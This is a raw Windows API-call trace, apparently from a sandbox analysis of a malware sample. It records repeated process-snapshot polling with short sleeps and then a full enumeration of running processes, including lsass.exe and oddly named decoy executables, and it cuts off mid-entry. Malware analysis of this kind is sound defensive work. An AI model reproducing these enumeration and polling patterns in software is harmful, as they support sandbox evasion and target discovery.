CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0212.768] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0212.880] Sleep (dwMilliseconds=0x64) [0212.927] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0212.937] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.092] Sleep (dwMilliseconds=0x64) [0213.128] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0213.138] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.242] Sleep (dwMilliseconds=0x64) [0213.286] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0213.296] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.459] Sleep (dwMilliseconds=0x64) [0213.520] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0213.531] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.699] Sleep (dwMilliseconds=0x64) [0213.739] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0213.749] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0213.898] Sleep (dwMilliseconds=0x64) [0213.950] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0213.960] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.208] Sleep (dwMilliseconds=0x64) [0214.253] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0214.263] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.418] Sleep (dwMilliseconds=0x64) [0214.458] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0214.468] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.624] Sleep (dwMilliseconds=0x64) [0214.681] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0214.691] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0214.867] Sleep (dwMilliseconds=0x64) [0214.912] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0214.924] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.138] Sleep (dwMilliseconds=0x64) [0215.175] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0215.189] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.355] Sleep (dwMilliseconds=0x64) [0215.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0215.458] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0215.558] Sleep (dwMilliseconds=0x64) [0215.598] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0215.646] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.106] Sleep (dwMilliseconds=0x64) [0216.145] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0216.159] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.319] Sleep (dwMilliseconds=0x64) [0216.366] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0216.376] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.524] Sleep (dwMilliseconds=0x64) [0216.567] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0216.578] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.746] Sleep (dwMilliseconds=0x64) [0216.786] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0216.797] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0216.978] Sleep (dwMilliseconds=0x64) [0217.036] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0217.100] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.204] Sleep (dwMilliseconds=0x64) [0217.239] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0217.249] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.393] Sleep (dwMilliseconds=0x64) [0217.448] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0217.459] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.270] Sleep (dwMilliseconds=0x64) [0218.325] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xaa8 [0218.340] Process32First (in: hSnapshot=0xaa8, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.503] Sleep (dwMilliseconds=0x64) [0218.556] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e38 [0218.567] Process32First (in: hSnapshot=0x1e38, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.754] Sleep (dwMilliseconds=0x64) [0218.810] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e38 [0218.822] Process32First (in: hSnapshot=0x1e38, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.989] Sleep (dwMilliseconds=0x64) [0219.038] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e38 [0219.049] Process32First (in: hSnapshot=0x1e38, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.201] Sleep (dwMilliseconds=0x64) [0219.294] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc20 [0219.304] Process32First (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.451] Sleep (dwMilliseconds=0x64) [0219.490] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc20 [0219.501] Process32First (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.733] Sleep (dwMilliseconds=0x64) [0219.791] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0219.803] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.006] Sleep (dwMilliseconds=0x64) [0220.052] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0220.063] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.242] Sleep (dwMilliseconds=0x64) [0220.310] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15ac [0220.322] Process32First (in: hSnapshot=0x15ac, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.572] Sleep (dwMilliseconds=0x64) [0220.638] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0220.652] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.830] Sleep (dwMilliseconds=0x64) [0220.898] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0220.917] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.921] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.923] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.927] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.931] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.935] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.937] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.942] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.944] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.946] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.948] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.950] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.952] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.954] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.956] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.009] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.011] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.013] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.015] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.017] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.018] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0221.020] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0221.022] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.024] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0221.025] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0221.027] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0221.029] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0221.030] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.032] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0221.034] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0221.036] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0221.037] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0221.039] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0221.041] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0221.042] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0221.044] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0221.046] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0221.047] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0221.049] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0221.101] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0221.103] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, 